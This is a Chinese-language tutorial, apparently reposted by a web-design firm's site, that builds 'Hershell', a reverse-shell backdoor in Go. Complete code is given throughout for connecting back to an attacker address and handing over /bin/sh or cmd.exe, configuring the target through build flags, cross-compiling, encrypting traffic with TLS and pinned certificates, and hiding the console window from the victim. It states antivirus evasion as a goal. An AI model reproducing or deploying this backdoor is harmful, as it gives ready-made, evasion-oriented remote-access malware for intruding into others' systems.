本篇內(nèi)容主要講解“go語(yǔ)言可不可以做滲透測(cè)試”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來(lái)帶大家學(xué)習(xí)“go語(yǔ)言可不可以做滲透測(cè)試”吧!
創(chuàng)新互聯(lián)建站主要從事網(wǎng)站設(shè)計(jì)制作、成都做網(wǎng)站、網(wǎng)頁(yè)設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)荊州,十年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來(lái)電咨詢建站服務(wù):13518219792
go語(yǔ)言可以做滲透測(cè)試。Go在不需要任何外部依賴項(xiàng)的情況下執(zhí)行交叉編譯非常容易。得益于標(biāo)準(zhǔn)庫(kù),一個(gè)Go二進(jìn)制文件包含了在目標(biāo)體系結(jié)構(gòu)上執(zhí)行的所有必需的代碼;因此,Go語(yǔ)言應(yīng)該可以很容易地從相同的源代碼中為多種平臺(tái)構(gòu)建二進(jìn)制文件。
什么是滲透測(cè)試
滲透測(cè)試,是一項(xiàng)在計(jì)算機(jī)系統(tǒng)上進(jìn)行的授權(quán)模擬攻擊,旨在對(duì)其安全性進(jìn)行評(píng)估,是為了證明網(wǎng)絡(luò)防御按照預(yù)期計(jì)劃正常運(yùn)行而提供的一種機(jī)制。不妨假設(shè),你的公司定期更新安全策略和程序,時(shí)時(shí)給系統(tǒng)打補(bǔ)丁,并采用了漏洞掃描器等工具,以確保所有補(bǔ)丁都已打上。
go語(yǔ)言可以做滲透測(cè)試
下面通過(guò)實(shí)例來(lái)介紹一下:編寫(xiě)反彈后門(mén) Hershell
在滲透測(cè)試過(guò)程中,一個(gè)必備的工具是眾所周知的、超級(jí)棒的Metasploit框架。
該環(huán)境包含大量的payload、編碼器和其他工具。在這些payload中Meterpreter有重要意義:它是一個(gè)經(jīng)過(guò)開(kāi)發(fā)和后開(kāi)發(fā)命令的修改版的shell。由于其強(qiáng)大的攻擊特性,該shell可能是最常用到的。
Meterpreter的問(wèn)題
不幸的是,Meterpreter的流行有一個(gè)缺點(diǎn):大多數(shù)反病毒和基于簽名的解決方案都能檢測(cè)到它。通常在滲透測(cè)試過(guò)程中,一個(gè)含有Meterpreter payload的二進(jìn)制文件會(huì)被檢測(cè)到,并被發(fā)送進(jìn)行隔離。
另一個(gè)問(wèn)題可能是缺乏對(duì)特定目標(biāo)體系結(jié)構(gòu)的支持(例如,BSD),迫使我們開(kāi)發(fā)自己的后門(mén)。
上述這些問(wèn)題促使我們編寫(xiě)Hershell。該項(xiàng)目的目標(biāo)是提供一個(gè)基于單一的源代碼的reverse shell payload,它可以跨平臺(tái),并且不被殺毒軟件所發(fā)現(xiàn)。
我們使用Go語(yǔ)言開(kāi)發(fā),它是一種由Google開(kāi)發(fā)的編譯語(yǔ)言。
為什么使用GO語(yǔ)言?
現(xiàn)今,Python可能是編寫(xiě)腳本甚至完成應(yīng)用程序最流行的語(yǔ)言,尤其是在安全領(lǐng)域。那么我們?yōu)槭裁匆獙W(xué)習(xí)一門(mén)新的語(yǔ)言呢?
Go比Python或其他語(yǔ)言具有一種優(yōu)勢(shì):在不需要任何外部依賴項(xiàng)的情況下執(zhí)行交叉編譯非常容易。得益于標(biāo)準(zhǔn)庫(kù),一個(gè)Go二進(jìn)制文件包含了在目標(biāo)體系結(jié)構(gòu)上執(zhí)行的所有必需的代碼。因此,Go語(yǔ)言應(yīng)該可以很容易地從相同的源代碼中為多種平臺(tái)構(gòu)建二進(jìn)制文件。
目標(biāo)
在構(gòu)建這段代碼時(shí),我們想要實(shí)現(xiàn)以下目標(biāo):
payload類型是reverse shell;
得到一個(gè)跨多個(gè)平臺(tái)(Windows、Linux、MacOS、ARM)和硬件架構(gòu)的payload;
容易配置;
加密通信;
繞過(guò)大多數(shù)反病毒檢測(cè)引擎。
環(huán)境準(zhǔn)備
從你最喜歡的發(fā)行版中安裝Go包,或者從官方網(wǎng)站下載。
一旦安裝完畢,我們需要配置環(huán)境。我們創(chuàng)建一個(gè)dev目錄,該目錄將是源、庫(kù)和構(gòu)建二進(jìn)制文件的根:
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
該目錄遵循下面的計(jì)劃:
bin包含編譯后的二進(jìn)制文件和其他可執(zhí)行文件;
pkg包含Go下載包的對(duì)象文件;
src包含你的應(yīng)用程序和下載包的源目錄。
我的第一個(gè)reverse shell
首先,使用Go語(yǔ)言創(chuàng)建一個(gè)簡(jiǎn)單的TCP reverse shell。
這里是一個(gè)完整的注釋版本,而不是逐行注釋代碼。
// filename: tcp.go
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "192.168.0.23:2233")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
首先,我們使用net.Dial建立一個(gè)到遠(yuǎn)程服務(wù)器的連接。Go標(biāo)準(zhǔn)庫(kù)的net包是基于TCP或UDP網(wǎng)絡(luò)通信的一個(gè)抽象層?!?/p>
了解更多關(guān)于如何使用一個(gè)包、文檔(go doc)很有幫助:
$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
讓我們回到腳本。
一旦建立了連接(如果失敗了,程序就停止了),我們將創(chuàng)建一個(gè)進(jìn)程(類型為exec.Cmd的對(duì)象),這要?dú)w功于exec.Command函數(shù)。所有輸入和輸出(stdout、stdin和stderr)都被重定向到連接,并啟動(dòng)進(jìn)程。
然后我們可以編行該文件:
$ go build tcp.go
$ ./tcp
現(xiàn)在,我們需要開(kāi)啟偵聽(tīng)器:
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
如預(yù)期的那樣,我們得到了reverse shell?!?/p>
到目前為止我們大多數(shù)的目標(biāo)尚未實(shí)現(xiàn)。
配置
我們現(xiàn)在有一些reverse shell基本代碼。但是在每次編譯之后我們必須修改,以便定義攻擊者的監(jiān)聽(tīng)端口和IP地址。
這種操作雖然不是很便利。但這里可以引入一個(gè)簡(jiǎn)單的小技巧:在連接時(shí)(在編譯之前)進(jìn)行變量定義?!?/p>
事實(shí)上,在構(gòu)建過(guò)程中,可以定義一些變量的值(使用go build命令)?!?/p>
這是使用前面代碼的一個(gè)簡(jiǎn)短的例子:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我們只添加下面一行代碼,進(jìn)行一個(gè)安全測(cè)試以檢查它是否包含一個(gè)值:
var connectString string
其代碼編譯如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
當(dāng)我們構(gòu)建二進(jìn)制文件時(shí),攻擊者的IP地址和端口可以被動(dòng)態(tài)定義?!?/p>
注意,可以以package.nomVariable的模式訪問(wèn)這些變量,并且這些變量只能是string類型。
為了簡(jiǎn)化編譯,我們可以創(chuàng)建一個(gè)Makefile:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
本文的其余部分,我們將使用LHOST和LPORT環(huán)境變量來(lái)定義設(shè)置:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平臺(tái)
既然可以很容易地配置 payload,也可以跨平臺(tái)使用它。
如前所述,payload的強(qiáng)項(xiàng)之一是從同一個(gè)代碼庫(kù)使用Go語(yǔ)言為各種架構(gòu)和平臺(tái)進(jìn)行構(gòu)建。
準(zhǔn)確地說(shuō), runtime提供了GOOS和GOARCH變量?!?/p>
讓我們看看如何使用GOOS:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很顯然,我們添加了一個(gè)switch模塊來(lái)處理GOOS不同的值。因此,我們只是檢查幾個(gè)操作系統(tǒng)的值,并且改變每個(gè)目標(biāo)進(jìn)程?!?/p>
上面的代碼可以進(jìn)一步簡(jiǎn)化,實(shí)際上除了Windows,大多數(shù)操作系統(tǒng)上都有/bin/sh:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
現(xiàn)在,使用GOARCH處理交叉編譯架構(gòu)非常簡(jiǎn)單:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
網(wǎng)絡(luò)加密
現(xiàn)在,讓我們看看如何加密網(wǎng)絡(luò)流量。
有幾種選擇:
用一個(gè)自制的方法,在應(yīng)用程序?qū)咏⒓用?br/>使用一種被廣泛使用并且在會(huì)話層測(cè)試協(xié)議的方法,即TLS。
鑒于我們都傾向于簡(jiǎn)單和安全,我們選擇了很容易用Go語(yǔ)言實(shí)現(xiàn)的TLS。標(biāo)準(zhǔn)庫(kù)已經(jīng)支持一切支持TLS的東西。
在客戶端,一個(gè)新的&tls.Config類型對(duì)象需要配置連接,比如證書(shū)鎖定(certificate pinning)。
這是新的代碼庫(kù),進(jìn)行了輕微的優(yōu)化和TLS處理:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
如示例所示,創(chuàng)建一個(gè)TLS套接字(socket)非常類似于創(chuàng)建一個(gè)簡(jiǎn)單的TCP socket。不同于tls.Config,tls.Conn對(duì)象與net.Conn以相同的方式被使用。
條件編譯
如上圖所示,可以改變?nèi)Q于目標(biāo)操作系統(tǒng)的程序執(zhí)行。
然而,如果你想使用這段代碼,你會(huì)注意到一個(gè)問(wèn)題。cmd.exe窗口會(huì)出現(xiàn),并且無(wú)法隱藏,從而會(huì)提醒受害者。
幸運(yùn)的是,exec.Cmd對(duì)象的SysProcAttr可以改變這種情況,如本文所述:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,關(guān)于syscall.SysProcAttr模塊文件,我們得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
然而,在syscall package(包)的源代碼中,我們觀察到每一個(gè)構(gòu)建都有一個(gè)特定的實(shí)現(xiàn)。
此外,在Windows的exec子方式中,我們注意到SysProcAttr結(jié)構(gòu)有不同的定義。它有一個(gè)HidWindow屬性(布爾類型),當(dāng)啟動(dòng)一個(gè)程序時(shí)這一屬性允許隱藏啟動(dòng)窗口。
該屬性也正是我們的后門(mén)需要的。
我們可能會(huì)被這一實(shí)現(xiàn)所吸引:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
然而,由于HideWindow屬性在syscall/exec_linux.go中不存在,因此這種編譯在除了Windows之外的任何其他平臺(tái)可能會(huì)失敗。
因此,我們需要調(diào)整我們的項(xiàng)目的結(jié)構(gòu),使用條件編譯。條件編譯指的是一種特性,允許添加源代碼文件頂部編譯器的命令。例如,如果我們想要編譯一個(gè)只適用于Windows操作系統(tǒng)的源文件,我們將添加該命令:
// +build windows !linux !darwin !freebsd
import net
...
當(dāng)GOOS變量設(shè)置為darwin、 linux 或者freebsd時(shí),該命令將指示編譯器不包括該文件。當(dāng)然,當(dāng)值與windows匹配時(shí),編譯器將包含該源文件。
為了在我們的項(xiàng)目中實(shí)現(xiàn)該條件編譯,我們將遵循這個(gè)結(jié)構(gòu):
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
hershell.go包含程序的核心部分。然后,我們創(chuàng)建一個(gè)名為shell的模塊,該模塊有兩個(gè)文件:適用于Linux和Unix的shell_default.go文件;以及適用于Windows的shell_windows.go文件。
證書(shū)鎖定
使用TLS安全通信是件好事,但只要我們不對(duì)服務(wù)器進(jìn)行身份驗(yàn)證,流量仍然可以被“中間人”劫持。
為了預(yù)防這種攻擊,我們將驗(yàn)證服務(wù)器提供的證書(shū),這就叫做“證書(shū)鎖定(certificate pinning)”。
以下函數(shù)負(fù)責(zé)證書(shū)鎖定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
這個(gè)函數(shù)接受一個(gè)tls.Conn對(duì)象的指針作為參數(shù),并且包含SHA256格式的指紋證書(shū)的一個(gè)字節(jié)數(shù)組。在連接過(guò)程中,該代碼掃描所有tls.Conn中的PeerCertificates,直到發(fā)現(xiàn)與提供的相匹配的指紋為止?!?/p>
如果碰巧沒(méi)有證書(shū)匹配,函數(shù)返回false。
當(dāng)需要建立與遠(yuǎn)程服務(wù)器的連接時(shí),我們只需要調(diào)用該函數(shù);如果提交的證書(shū)是無(wú)效的則會(huì)關(guān)閉連接:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
最初,由于–ldflags,在編譯(在Makefile中)過(guò)程中可以生成有效的指紋:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
到此,相信大家對(duì)“go語(yǔ)言可不可以做滲透測(cè)試”有了更深的了解,不妨來(lái)實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!